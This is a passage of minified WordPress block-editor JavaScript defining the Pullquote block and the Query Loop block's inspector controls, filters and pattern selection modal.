0,...i,style:s}}},K5e={attributes:{...ub},save({attributes:e}){let{value:t,citation:r}=e;return(0,fr.jsxs)("blockquote",{children:[(0,fr.jsx)(gt.RichText.Content,{value:t,multiline:!0}),!gt.RichText.isEmpty(r)&&(0,fr.jsx)(gt.RichText.Content,{tagName:"cite",value:r})]})},migrate({value:e,...t}){return{value:Ed(e),...t}}},Q5e={attributes:{...ub,citation:{type:"string",source:"html",selector:"footer"},align:{type:"string",default:"none"}},save({attributes:e}){let{value:t,citation:r,align:a}=e;return(0,fr.jsxs)("blockquote",{className:`align${a}`,children:[(0,fr.jsx)(gt.RichText.Content,{value:t,multiline:!0}),!gt.RichText.isEmpty(r)&&(0,fr.jsx)(gt.RichText.Content,{tagName:"footer",value:r})]})},migrate({value:e,...t}){return{value:Ed(e),...t}}},goe=[W5e,$5e,q5e,Z5e,K5e,Q5e];var mb=o(I(),1),oc=o(T(),1),fC=o(U(),1),yoe=o(j(),1);var voe="figure";var boe="blockquote";var ns=o(v(),1),Y5e=yoe.Platform.OS==="web";function X5e({attributes:e,setAttributes:t,isSelected:r,insertBlocksAfter:a}){let{textAlign:n,citation:i,value:l}=e,s=(0,oc.useBlockProps)({className:w({[`has-text-align-${n}`]:n})}),c=!oc.RichText.isEmpty(i)||r;return(0,ns.jsxs)(ns.Fragment,{children:[(0,ns.jsx)(oc.BlockControls,{group:"block",children:(0,ns.jsx)(oc.AlignmentControl,{value:n,onChange:u=>{t({textAlign:u})}})}),(0,ns.jsx)(voe,{...s,children:(0,ns.jsxs)(boe,{children:[(0,ns.jsx)(oc.RichText,{identifier:"value",tagName:"p",value:l,onChange:u=>t({value:u}),"aria-label":(0,mb.__)("Pullquote text"),placeholder:(0,mb.__)("Add quote"),textAlign:"center"}),c&&(0,ns.jsx)(oc.RichText,{identifier:"citation",tagName:Y5e?"cite":void 0,style:{display:"block"},value:i,"aria-label":(0,mb.__)("Pullquote citation text"),placeholder:(0,mb.__)("Add citation"),onChange:u=>t({citation:u}),className:"wp-block-pullquote__citation",__unstableMobileNoFocusOnMount:!0,textAlign:"center",__unstableOnSplitAtEnd:()=>a((0,fC.createBlock)((0,fC.getDefaultBlockName)()))})]})})]})}var xoe=X5e;var hC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/pullquote",title:"Pullquote",category:"text",description:"Give special visual emphasis to a quote from your text.",textdomain:"default",attributes:{value:{type:"rich-text",source:"rich-text",selector:"p",role:"content"},citation:{type:"rich-text",source:"rich-text",selector:"cite",role:"content"},textAlign:{type:"string"}},supports:{anchor:!0,align:["left","right","wide","full"],background:{backgroundImage:!0,backgroundSize:!0,__experimentalDefaultControls:{backgroundImage:!0}},color:{gradients:!0,background:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},dimensions:{minHeight:!0,__experimentalDefaultControls:{minHeight:!1}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},__experimentalStyle:{typography:{fontSize:"1.5em",lineHeight:"1.6"}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-pullquote-editor",style:"wp-block-pullquote"};var cg=o(T(),1),ug=o(v(),1);function _oe({attributes:e}){let{textAlign:t,citation:r,value:a}=e,n=!cg.RichText.isEmpty(r);return(0,ug.jsx)("figure",{...cg.useBlockProps.save({className:w({[`has-text-align-${t}`]:t})}),children:(0,ug.jsxs)("blockquote",{children:[(0,ug.jsx)(cg.RichText.Content,{tagName:"p",value:a}),n&&(0,ug.jsx)(cg.RichText.Content,{tagName:"cite",value:r})]})})}var iu=o(U(),1),mg=o(Wu(),1),e4e={from:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>(0,iu.createBlock)("core/pullquote",{value:(0,mg.toHTMLString)({value:(0,mg.join)(e.map(({content:t})=>(0,mg.create)({html:t})),`
`)}),anchor:e.anchor})},{type:"block",blocks:["core/heading"],transform:({content:e,anchor:t})=>(0,iu.createBlock)("core/pullquote",{value:e,anchor:t})}],to:[{type:"block",blocks:["core/paragraph"],transform:({value:e,citation:t})=>{let r=[];return e&&r.push((0,iu.createBlock)("core/paragraph",{content:e})),t&&r.push((0,iu.createBlock)("core/paragraph",{content:t})),r.length===0?(0,iu.createBlock)("core/paragraph",{content:""}):r}},{type:"block",blocks:["core/heading"],transform:({value:e,citation:t})=>{if(!e)return(0,iu.createBlock)("core/heading",{content:t});let r=(0,iu.createBlock)("core/heading",{content:e});return t?[r,(0,iu.createBlock)("core/heading",{content:t})]:r}}]},koe=e4e;var{fieldsKey:t4e,formKey:r4e}=Z(woe.privateApis),{name:Coe}=hC,gC={icon:PP,example:{attributes:{value:(0,pb.__)("One of the hardest things to do in technology is disrupt yourself."),citation:(0,pb.__)("Matt Mullenweg")}},transforms:koe,edit:xoe,save:_oe,deprecated:goe};window.__experimentalContentOnlyInspectorFields&&(gC[t4e]=[{id:"value",label:(0,pb.__)("Content"),type:"text",Edit:"rich-text"},{id:"citation",label:(0,pb.__)("Citation"),type:"text",Edit:"rich-text"}],gC[r4e]={fields:["value","citation"]});var o4e=()=>N({name:Coe,metadata:hC,settings:gC});var GL={};q(GL,{init:()=>M4e,metadata:()=>vC,name:()=>ene,settings:()=>tne});var vC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query",title:"Query Loop",category:"theme",description:"An advanced block that allows displaying post types based on different query parameters and visual configurations.",keywords:["posts","list","blog","blogs","custom post types"],textdomain:"default",attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0,taxQuery:null,parents:[],format:[]}},tagName:{type:"string",default:"div"},namespace:{type:"string"},enhancedPagination:{type:"boolean",default:!1}},usesContext:["templateSlug"],providesContext:{queryId:"queryId",query:"query",displayLayout:"displayLayout",enhancedPagination:"enhancedPagination"},supports:{anchor:!0,align:["wide","full"],html:!1,layout:!0,interactivity:!0},editorStyle:"wp-block-query-editor"};var Fae=o(z(),1),Oae=o(j(),1),Hae=o(T(),1);var EC=o(z(),1),Mae=o(ue(),1),bb=o(j(),1),il=o(T(),1),Aae=o(I(),1),Rae=o(Y(),1);var Aoe=o(A(),1),_C=o(I(),1);var ac=o(z(),1),Dd=o(j(),1),db=o(Y(),1),bC=o(T(),1),Soe=o(Ho(),1),Nd=o(I(),1),lu=o(U(),1),fb=e=>{let t=e?.reduce((r,a)=>{let{mapById:n,mapByName:i,names:l}=r;return n[a.id]=a,i[a.name]=a,l.push(a.name),r},{mapById:{},mapByName:{},names:[]});return{entities:e,...t}},n4e=(e,t)=>{let r=t.split("."),a=e;return r.forEach(n=>{a=a?.[n]}),a},EL=(e,t)=>(e||[]).map(r=>({...r,name:(0,Soe.decodeEntities)(n4e(r,t))})),Toe=()=>{let e=(0,ac.useSelect)(n=>{let{getPostTypes:i}=n(db.store),l=["attachment"];return i({per_page:-1})?.filter(({viewable:c,slug:u})=>c&&!l.includes(u))},[]),t=(0,Dd.useMemo)(()=>{if(e?.length)return e.reduce((n,i)=>(n[i.slug]=i.taxonomies,n),{})},[e]),r=(0,Dd.useMemo)(()=>(e||[]).map(({labels:n,slug:i})=>({label:n.singular_name,value:i})),[e]),a=(0,Dd.useMemo)(()=>e?.length?e.reduce((n,i)=>(n[i.slug]=i.supports?.["post-formats"]||!1,n),{}):{},[e]);return{postTypesTaxonomiesMap:t,postTypesSelectOptions:r,postTypeFormatSupportMap:a}},yC=e=>{let t=(0,ac.useSelect)(r=>{let{getTaxonomies:a,getPostType:n}=r(db.store);return n(e)?.taxonomies?.length>0?a({type:e,per_page:-1}):[]},[e]);return(0,Dd.useMemo)(()=>t?.filter(({visibility:r})=>!!r?.publicly_queryable),[t])};function Poe(e){return(0,ac.useSelect)(t=>{let r=t(db.store).getPostType(e);return r?.viewable&&r?.hierarchical},[e])}function Boe(e){let t=(0,ac.useSelect)(r=>!!r(db.store).getPostType(e)?.supports?.["page-attributes"],[e]);return(0,Dd.useMemo)(()=>{let r=[{label:(0,Nd.__)("Newest to oldest"),value:"date/desc"},{label:(0,Nd.__)("Oldest to newest"),value:"date/asc"},{label:(0,Nd.__)("A \u2192 Z"),value:"title/asc"},{label:(0,Nd.__)("Z \u2192 A"),value:"title/desc"}];return t&&r.push({label:(0,Nd.__)("Ascending by order"),value:"menu_order/asc"},{label:(0,Nd.__)("Descending by order"),value:"menu_order/desc"}),r},[t])}function Ioe(e){return(0,ac.useSelect)(t=>t(lu.store).getActiveBlockVariation("core/query",e)?.allowedControls,[e])}function Ii(e,t){return e?e.includes(t):!0}var Eoe=(e,t)=>{let{query:{postType:r,inherit:a},namespace:n}=t,i=e.map(c=>(0,lu.cloneBlock)(c)),l=[],s=[...i];for(;s.length>0;){let c=s.shift();c.name==="core/query"&&(c.attributes.query={...c.attributes.query,postType:r,inherit:a},n&&(c.attributes.namespace=n),l.push(c.clientId)),c.innerBlocks?.forEach(u=>{s.push(u)})}return{newBlocks:i,queryClientIds:l}};function Noe(e,t){return(0,ac.useSelect)(r=>{let a=r(lu.store).getActiveBlockVariation("core/query",t)?.name;if(!a)return"core/query";let{getBlockRootClientId:n,getPatternsByBlockTypes:i}=r(bC.store),l=n(e);return i(`core/query/${a}`,l).length>0?`core/query/${a}`:"core/query"},[e,t])}function Doe(e){let{activeVariationName:t,blockVariations:r}=(0,ac.useSelect)(n=>{let{getActiveBlockVariation:i,getBlockVariations:l}=n(lu.store);return{activeVariationName:i("core/query",e)?.name,blockVariations:l("core/query","block")}},[e]);return(0,Dd.useMemo)(()=>{let n=l=>!l.attributes?.namespace;if(!t)return r.filter(n);let i=r.filter(l=>l.attributes?.namespace?.includes(t));return i.length?i:r.filter(n)},[t,r])}var Loe=(e,t)=>(0,ac.useSelect)(r=>{let{getBlockRootClientId:a,getPatternsByBlockTypes:n}=r(bC.store),i=a(e);return n(t,i)},[t,e]),xC=e=>(0,ac.useSelect)(t=>{let{getClientIdsOfDescendants:r,getBlockName:a}=t(bC.store);return r(e).some(n=>{let i=a(n),l=Object.is((0,lu.getBlockSupport)(i,"interactivity"),!0),s=(0,lu.getBlockSupport)(i,"interactivity.clientNavigation");return!l&&!s})},[e]);function Moe(e){if(!e)return{isSingular:!0};let t=!1,r=e==="wp"?"custom":e,a=["404","blank","single","page","custom"],n=e.includes("-")?e.split("-",1)[0]:e;return e.includes("-")&&e.split("-").slice(1).join("-")&&(r=n),t=a.includes(r),{isSingular:t,templateType:r}}var hb=o(v(),1);function Roe({enhancedPagination:e,setAttributes:t,clientId:r}){let a=xC(r),n=(0,_C.__)("Reload the full page\u2014instead of just the posts list\u2014when visitors navigate between pages.");return a&&(n=(0,_C.__)("Enhancement disabled because there are non-compatible blocks inside the Query block.")),(0,hb.jsx)(hb.Fragment,{children:(0,hb.jsx)(Aoe.ToggleControl,{label:(0,_C.__)("Reload full page"),help:n,checked:!e,disabled:a,onChange:i=>{t({enhancedPagination:!i})}})})}var xt=o(A(),1),Sae=o(z(),1),Tae=o(Y(),1),hr=o(I(),1),Pae=o(ue(),1),CC=o(j(),1);var zoe=o(A(),1),pg=o(I(),1),Voe=o(v(),1),i4e=[{label:(0,pg.__)("Newest to oldest"),value:"date/desc"},{label:(0,pg.__)("Oldest to newest"),value:"date/asc"},{label:(0,pg.__)("A \u2192 Z"),value:"title/asc"},{label:(0,pg.__)("Z \u2192 A"),value:"title/desc"}];function l4e({order:e,orderBy:t,orderByOptions:r=i4e,onChange:a}){return(0,Voe.jsx)(zoe.SelectControl,{__next40pxDefaultSize:!0,label:(0,pg.__)("Order by"),value:`${t}/${e}`,options:r,onChange:n=>{let[i,l]=n.split("/");a({order:l,orderBy:i})}})}var Foe=l4e;var Ooe=o(I(),1),Hoe=o(A(),1),joe=o(z(),1),Uoe=o(Y(),1);var Goe=o(v(),1),s4e={who:"authors",per_page:-1,_fields:"id,name",context:"view"};function c4e({value:e,onChange:t}){let r=(0,joe.useSelect)(c=>{let{getUsers:u}=c(Uoe.store);return u(s4e)},[]);if(!r)return null;let a=fb(r),i=(e?e.toString().split(","):[]).reduce((c,u)=>{let m=a.mapById[u];return m&&c.push({id:u,value:m.name}),c},[]),l=(c,u)=>{let m=u?.id||c[u]?.id;if(m)return m},s=c=>{let u=Array.from(c.reduce((m,p)=>{let d=l(a.mapByName,p);return d&&m.add(d),m},new Set));t({author:u.join(",")})};return(0,Goe.jsx)(Hoe.FormTokenField,{label:(0,Ooe.__)("Authors"),value:i,suggestions:a.names,onChange:s,__experimentalShowHowTo:!1,__next40pxDefaultSize:!0})}var Woe=c4e;var qoe=o(I(),1),Zoe=o(A(),1),NL=o(z(),1),DL=o(Y(),1),su=o(j(),1),Koe=o(ue(),1);var Qoe=o(v(),1),Ld=[],$oe={order:"asc",_fields:"id,title",context:"view"};function u4e({parents:e,postType:t,onChange:r}){let[a,n]=(0,su.useState)(""),[i,l]=(0,su.useState)(Ld),[s,c]=(0,su.useState)(Ld),u=(0,Koe.useDebounce)(n,250),{searchResults:m,searchHasResolved:p}=(0,NL.useSelect)(b=>{if(!a)return{searchResults:Ld,searchHasResolved:!0};let{getEntityRecords:y,hasFinishedResolution:_}=b(DL.store),x=["postType",t,{...$oe,search:a,orderby:"relevance",exclude:e,per_page:20}];return{searchResults:y(...x),searchHasResolved:_("getEntityRecords",x)}},[a,t,e]),d=(0,NL.useSelect)(b=>{if(!e?.length)return Ld;let{getEntityRecords:y}=b(DL.store);return y("postType",t,{...$oe,include:e,per_page:e.length})},[e,t]);(0,su.useEffect)(()=>{if(e?.length||l(Ld),!d?.length)return;let b=fb(EL(d,"title.rendered")),y=e.reduce((_,x)=>{let k=b.mapById[x];return k&&_.push({id:x,value:k.name}),_},[]);l(y)},[e,d]);let f=(0,su.useMemo)(()=>m?.length?fb(EL(m,"title.rendered")):Ld,[m]);(0,su.useEffect)(()=>{p&&c(f.names)},[f.names,p]);let h=(b,y)=>{let _=y?.id||b?.[y]?.id;if(_)return _},g=b=>{let y=Array.from(b.reduce((_,x)=>{let k=h(f.mapByName,x);return k&&_.add(k),_},new Set));c(Ld),r({parents:y})};return(0,Qoe.jsx)(Zoe.FormTokenField,{__next40pxDefaultSize:!0,label:(0,qoe.__)("Parents"),value:i,onInputChange:u,suggestions:s,onChange:g,__experimentalShowHowTo:!1})}var Yoe=u4e;var kC=o(A(),1),LL=o(z(),1),ML=o(Y(),1),cu=o(j(),1),eae=o(ue(),1),tae=o(Ho(),1),wC=o(I(),1);var Am=o(v(),1),dg=[],Xoe={order:"asc",_fields:"id,name",context:"view"},m4e=(e,t)=>{let r=t?.id||e?.find(n=>n.name===t)?.id;if(r)return r;let a=t.toLocaleLowerCase();return e?.find(n=>n.name.toLocaleLowerCase()===a)?.id};function rae({onChange:e,query:t}){let{postType:r,taxQuery:a}=t,n=yC(r);return n?.length?(0,Am.jsx)(kC.__experimentalVStack,{spacing:4,children:n.map(i=>{let l=a?.include?.[i.slug]||[],s=a?.exclude?.[i.slug]||[],c=(u,m)=>{let p={...a?.[m],[i.slug]:u};u.length||delete p[i.slug];let d={...a,[m]:Object.keys(p).length?p:void 0};e({taxQuery:Object.values(d).every(f=>!f)?void 0:d})};return(0,Am.jsxs)(cu.Fragment,{children:[(0,Am.jsx)(Joe,{taxonomy:i,termIds:l,oppositeTermIds:s,onChange:u=>c(u,"include"),label:i.name}),(0,Am.jsx)(Joe,{taxonomy:i,termIds:s,oppositeTermIds:l,onChange:u=>c(u,"exclude"),label:(0,wC.sprintf)((0,wC.__)("Exclude: %s"),i.name)})]},i.slug)})}):null}function Joe({taxonomy:e,termIds:t,oppositeTermIds:r,onChange:a,label:n}){let[i,l]=(0,cu.useState)(""),[s,c]=(0,cu.useState)(dg),[u,m]=(0,cu.useState)(dg),p=(0,eae.useDebounce)(l,250),{searchResults:d,searchHasResolved:f}=(0,LL.useSelect)(b=>{if(!i)return{searchResults:dg,searchHasResolved:!0};let{getEntityRecords:y,hasFinishedResolution:_}=b(ML.store),x=[...t,...r],k=["taxonomy",e.slug,{...Xoe,search:i,orderby:"name",exclude:x,per_page:20}];return{searchResults:y(...k),searchHasResolved:_("getEntityRecords",k)}},[i,e.slug,t,r]),h=(0,LL.useSelect)(b=>{if(!t?.length)return dg;let{getEntityRecords:y}=b(ML.store);return y("taxonomy",e.slug,{...Xoe,include:t,per_page:t.length})},[e.slug,t]);return(0,cu.useEffect)(()=>{if(t?.length||c(dg),!h?.length)return;let b=t.reduce((y,_)=>{let x=h.find(k=>k.id===_);return x&&y.push({id:_,value:x.name}),y},[]);c(b)},[t,h]),(0,cu.useEffect)(()=>{f&&m(d.map(b=>b.name))},[d,f]),(0,Am.jsx)("div",{className:"block-library-query-inspector__taxonomy-control",children:(0,Am.jsx)(kC.FormTokenField,{label:n,value:s,onInputChange:p,suggestions:u,displayTransform:tae.decodeEntities,onChange:b=>{let y=new Set;for(let _ of b){let x=m4e(d,_);x&&y.add(x)}m(dg),a(Array.from(y))},__experimentalShowHowTo:!1,__next40pxDefaultSize:!0})})}var oae=o(A(),1),aae=o(z(),1),nae=o(Y(),1),nl=o(I(),1),iae=o(v(),1),p4e=[{value:"aside",label:(0,nl.__)("Aside")},{value:"audio",label:(0,nl.__)("Audio")},{value:"chat",label:(0,nl.__)("Chat")},{value:"gallery",label:(0,nl.__)("Gallery")},{value:"image",label:(0,nl.__)("Image")},{value:"link",label:(0,nl.__)("Link")},{value:"quote",label:(0,nl.__)("Quote")},{value:"standard",label:(0,nl.__)("Standard")},{value:"status",label:(0,nl.__)("Status")},{value:"video",label:(0,nl.__)("Video")}].sort((e,t)=>{let r=e.label.toUpperCase(),a=t.label.toUpperCase();return r<a?-1:r>a?1:0});function d4e(e,t){return e.map(r=>t.find(a=>a.label.toLocaleLowerCase()===r.toLocaleLowerCase())?.value).filter(Boolean)}function lae({onChange:e,query:{format:t}}){let r=Array.isArray(t)?t:[t],{supportedFormats:a}=(0,aae.useSelect)(s=>({supportedFormats:s(nae.store).getThemeSupports().formats}),[]),n=p4e.filter(s=>a.includes(s.value)),i=r.map(s=>n.find(c=>c.value===s)?.label).filter(Boolean),l=n.filter(s=>!r.includes(s.value)).map(s=>s.label);return(0,iae.jsx)(oae.FormTokenField,{label:(0,nl.__)("Formats"),value:i,suggestions:l,onChange:s=>{e({format:d4e(s,n)})},__experimentalShowHowTo:!1,__experimentalExpandOnFocus:!0,__next40pxDefaultSize:!0})}var sae=o(A(),1),Md=o(I(),1),cae=o(v(),1),f4e=[{label:(0,Md.__)("Include"),value:""},{label:(0,Md.__)("Ignore"),value:"ignore"},{label:(0,Md.__)("Exclude"),value:"exclude"},{label:(0,Md.__)("Only"),value:"only"}];function uae({value:e,onChange:t}){return(0,cae.jsx)(sae.SelectControl,{__next40pxDefaultSize:!0,label:(0,Md.__)("Sticky posts"),options:f4e,value:e,onChange:t,help:(0,Md.__)("Sticky posts always appear first, regardless of their publish date.")})}var dae=o(A(),1),fae=o(I(),1),hae=o(v(),1),mae=1,pae=100,h4e=({perPage:e,offset:t=0,onChange:r})=>(0,hae.jsx)(dae.RangeControl,{__next40pxDefaultSize:!0,label:(0,fae.__)("Items per page"),min:mae,max:pae,onChange:a=>{isNaN(a)||a<mae||a>pae||r({perPage:a,offset:t})},value:parseInt(e,10)}),gae=h4e;var bae=o(A(),1),yae=o(I(),1),xae=o(v(),1),vae=0,g4e=100,v4e=({offset:e=0,onChange:t})=>(0,xae.jsx)(bae.__experimentalNumberControl,{__next40pxDefaultSize:!0,label:(0,yae.__)("Offset"),value:e,min:vae,onChange:r=>{isNaN(r)||r<vae||r>g4e||t({offset:r})}}),_ae=v4e;var kae=o(A(),1),AL=o(I(),1),wae=o(v(),1),b4e=({pages:e,onChange:t})=>(0,wae.jsx)(kae.__experimentalNumberControl,{__next40pxDefaultSize:!0,label:(0,AL.__)("Max pages to show"),value:e,min:0,onChange:r=>{isNaN(r)||r<0||t({pages:r})},help:(0,AL.__)("Limit the pages you want to show, even if the query has more results. To show all pages use 0 (zero).")}),Cae=b4e;var Je=o(v(),1);function Bae(e){let{attributes:t,setQuery:r,isSingular:a}=e,{query:n}=t,{order:i,orderBy:l,author:s,pages:c,postType:u,perPage:m,offset:p,sticky:d,inherit:f,taxQuery:h,parents:g,format:b}=n,y=Ioe(t),_=u==="post",{postTypesTaxonomiesMap:x,postTypesSelectOptions:k,postTypeFormatSupportMap:S}=Toe(),C=yC(u),E=Poe(u),B=re=>{let fe={postType:re},rt=x[re];if(rt?.length&&h){let Yt=xe=>Object.entries(xe||{}).reduce((ot,[Ke,Qe])=>(rt.includes(Ke)&&(ot[Ke]=Qe),ot),{}),he={},wt=Yt(h.include);Object.keys(wt).length&&(he.include=wt);let je=Yt(h.exclude);Object.keys(je).length&&(he.exclude=je),fe.taxQuery=Object.keys(he).length?he:void 0}re!=="post"&&(fe.sticky=""),fe.parents=[],S[re]||(fe.format=[]),r(fe)},[D,M]=(0,CC.useState)(n.search),O=(0,CC.useMemo)(()=>(0,Pae.debounce)(re=>{r({search:re})},250),[r]),R=Boe(u),F=Ii(y,"inherit"),P=!f&&Ii(y,"postType"),H=(0,hr.__)("Post type"),$=(0,hr.__)("Select the type of content to display: posts, pages, or custom post types."),V=!f&&Ii(y,"order"),G=!f&&_&&Ii(y,"sticky"),K=F||P||V||G,X=!!C?.length&&Ii(y,"taxQuery"),ee=Ii(y,"author"),ne=Ii(y,"search"),J=Ii(y,"parents")&&E,oe=S[u],ie=(0,Sae.useSelect)(re=>{if(!oe||!Ii(y,"format"))return!1;let fe=re(Tae.store).getThemeSupports();return fe.formats&&fe.formats.length>0&&fe.formats.some(rt=>rt!=="standard")},[y,oe]),le=X||ee||ne||J||ie,de=W(),Ve=Ii(y,"postCount"),Ne=Ii(y,"offset"),ae=Ii(y,"pages"),Be=Ve||Ne||ae,Ae=a&&f;return(0,Je.jsxs)(Je.Fragment,{children:[K&&(0,Je.jsxs)(xt.__experimentalToolsPanel,{label:(0,hr.__)("Settings"),resetAll:()=>{r({postType:"post",order:"desc",orderBy:"date",sticky:"",inherit:!0})},dropdownMenuProps:de,children:[F&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>!f,label:(0,hr.__)("Query type"),onDeselect:()=>r({inherit:!0}),isShownByDefault:!0,children:(0,Je.jsxs)(xt.__experimentalVStack,{spacing:4,children:[(0,Je.jsxs)(xt.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,hr.__)("Query type"),isBlock:!0,onChange:re=>{r({inherit:re==="default"})},help:f?(0,hr.__)("Display a list of posts or custom post types based on the current template."):(0,hr.__)("Display a list of posts or custom post types based on specific criteria."),value:f?"default":"custom",children:[(0,Je.jsx)(xt.__experimentalToggleGroupControlOption,{value:"default",label:(0,hr.__)("Default")}),(0,Je.jsx)(xt.__experimentalToggleGroupControlOption,{value:"custom",label:(0,hr.__)("Custom")})]}),Ae&&(0,Je.jsx)(xt.Notice,{status:"warning",isDismissible:!1,children:(0,hr.__)("Cannot inherit the current template query when placed inside the singular content (e.g., post, page, 404, blank).")})]})}),P&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>u!=="post",label:H,onDeselect:()=>B("post"),isShownByDefault:!0,children:k.length>2?(0,Je.jsx)(xt.SelectControl,{__next40pxDefaultSize:!0,options:k,value:u,label:H,onChange:B,help:$}):(0,Je.jsx)(xt.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,isBlock:!0,value:u,label:H,onChange:B,help:$,children:k.map(re=>(0,Je.jsx)(xt.__experimentalToggleGroupControlOption,{value:re.value,label:re.label},re.value))})}),V&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>i!=="desc"||l!=="date",label:(0,hr.__)("Order by"),onDeselect:()=>r({order:"desc",orderBy:"date"}),isShownByDefault:!0,children:(0,Je.jsx)(Foe,{order:i,orderBy:l,orderByOptions:R,onChange:r})}),G&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>!!d,label:(0,hr.__)("Sticky posts"),onDeselect:()=>r({sticky:""}),isShownByDefault:!0,children:(0,Je.jsx)(uae,{value:d,onChange:re=>r({sticky:re})})})]}),!f&&Be&&(0,Je.jsxs)(xt.__experimentalToolsPanel,{className:"block-library-query-toolspanel__display",label:(0,hr.__)("Display"),resetAll:()=>{r({offset:0,pages:0})},dropdownMenuProps:de,children:[(0,Je.jsx)(xt.__experimentalToolsPanelItem,{label:(0,hr.__)("Items per page"),hasValue:()=>m>0,children:(0,Je.jsx)(gae,{perPage:m,offset:p,onChange:r})}),(0,Je.jsx)(xt.__experimentalToolsPanelItem,{label:(0,hr.__)("Offset"),hasValue:()=>p>0,onDeselect:()=>r({offset:0}),children:(0,Je.jsx)(_ae,{offset:p,onChange:r})}),(0,Je.jsx)(xt.__experimentalToolsPanelItem,{label:(0,hr.__)("Max pages to show"),hasValue:()=>c>0,onDeselect:()=>r({pages:0}),children:(0,Je.jsx)(Cae,{pages:c,onChange:r})})]}),!f&&le&&(0,Je.jsxs)(xt.__experimentalToolsPanel,{className:"block-library-query-toolspanel__filters",label:(0,hr.__)("Filters"),resetAll:()=>{r({author:"",parents:[],search:"",taxQuery:null,format:[]}),M("")},dropdownMenuProps:de,children:[X&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{label:(0,hr.__)("Taxonomies"),hasValue:()=>Object.values(h||{}).some(re=>Object.values(re||{}).some(fe=>!!fe?.length)),onDeselect:()=>r({taxQuery:null}),children:(0,Je.jsx)(rae,{onChange:r,query:n})}),ee&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>!!s,label:(0,hr.__)("Authors"),onDeselect:()=>r({author:""}),children:(0,Je.jsx)(Woe,{value:s,onChange:r})}),ne&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>!!D,label:(0,hr.__)("Keyword"),onDeselect:()=>{r({search:""}),M("")},children:(0,Je.jsx)(xt.TextControl,{__next40pxDefaultSize:!0,label:(0,hr.__)("Keyword"),value:D,onChange:re=>{O(re),M(re)}})}),J&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>!!g?.length,label:(0,hr.__)("Parents"),onDeselect:()=>r({parents:[]}),children:(0,Je.jsx)(Yoe,{parents:g,postType:u,onChange:r})}),ie&&(0,Je.jsx)(xt.__experimentalToolsPanelItem,{hasValue:()=>!!b?.length,label:(0,hr.__)("Formats"),onDeselect:()=>r({format:[]}),children:(0,Je.jsx)(lae,{onChange:r,query:n})})]})]})}var hg=o(A(),1),gb=o(I(),1),SC=o(j(),1);var fg=o(v(),1),Iae="wp-block-query-enhanced-pagination-modal__description";function Eae({clientId:e,attributes:{enhancedPagination:t},setAttributes:r}){let[a,n]=(0,SC.useState)(!1),i=xC(e);(0,SC.useEffect)(()=>{t&&i&&(r({enhancedPagination:!1}),n(!0))},[t,i,r]);let l=()=>{n(!1)},s=(0,gb.__)("Currently, avoiding full page reloads is not possible when non-interactive or non-client Navigation compatible blocks from plugins are present inside the Query block.")+" "+(0,gb.__)('If you still want to prevent full page reloads, remove that block, then disable "Reload full page" again in the Query Block settings.');return a&&(0,fg.jsx)(hg.Modal,{title:(0,gb.__)("Query block: Reload full page enabled"),className:"wp-block-query__enhanced-pagination-modal",aria:{describedby:Iae},role:"alertdialog",focusOnMount:"firstElement",isDismissible:!1,onRequestClose:l,children:(0,fg.jsxs)(hg.__experimentalVStack,{alignment:"right",spacing:5,children:[(0,fg.jsx)("span",{id:Iae,children:s}),(0,fg.jsx)(hg.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:l,children:(0,gb.__)("OK")})]})})}var bg=o(A(),1),zL=o(I(),1),Lae=o(z(),1),BC=o(T(),1);var gg=o(j(),1),Nae=o(z(),1),PC=o(A(),1),vg=o(T(),1),TC=o(I(),1);var uu=o(v(),1);function Dae({clientId:e,attributes:t,setIsPatternSelectionModalOpen:r}){return(0,uu.jsx)(PC.Modal,{overlayClassName:"block-library-query-pattern__selection-modal",title:(0,TC.__)("Choose a pattern"),onRequestClose:()=>r(!1),isFullScreen:!0,children:(0,uu.jsx)(RL,{clientId:e,attributes:t})})}function vb(e,t){let r=Noe(e,t),a=Loe(e,r);return(0,gg.useMemo)(()=>a.filter(i=>i.blocks?.[0]?.name==="core/query"),[a])}function RL({clientId:e,attributes:t,showTitlesAsTooltip:r=!1,showSearch:a=!0}){let[n,i]=(0,gg.useState)(""),{replaceBlock:l,selectBlock:s}=(0,Nae.useDispatch)(vg.store),c=vb(e,t),u=(0,gg.useMemo)(()=>({previewPostType:t.query.postType}),[t.query.postType]),m=(0,gg.useMemo)(()=>uv(c,n),[c,n]),p=(d,f)=>{let{newBlocks:h,queryClientIds:g}=Eoe(f,t);l(e,h),g[0]&&s(g[0])};return(0,uu.jsxs)("div",{className:"block-library-query-pattern__selection-content",children:[a&&(0,uu.jsx)("div",{className:"block-library-query-pattern__selection-search",children:(0,uu.jsx)(PC.SearchControl,{onChange:i,value:n,label:(0,TC.__)("Search"),placeholder:(0,TC.__)("Search")})}),(0,uu.jsx)(vg.BlockContextProvider,{value:u,children:(0,uu.jsx)(vg.__experimentalBlockPatternsList,{blockPatterns:m,onClickPattern:p,showTitlesAsTooltip:r})})]})}var Ad=o(v(),1);function y4e({clientId:e,attributes:t,hasInnerBlocks:r}){if(!vb(e,t).length)return null;let 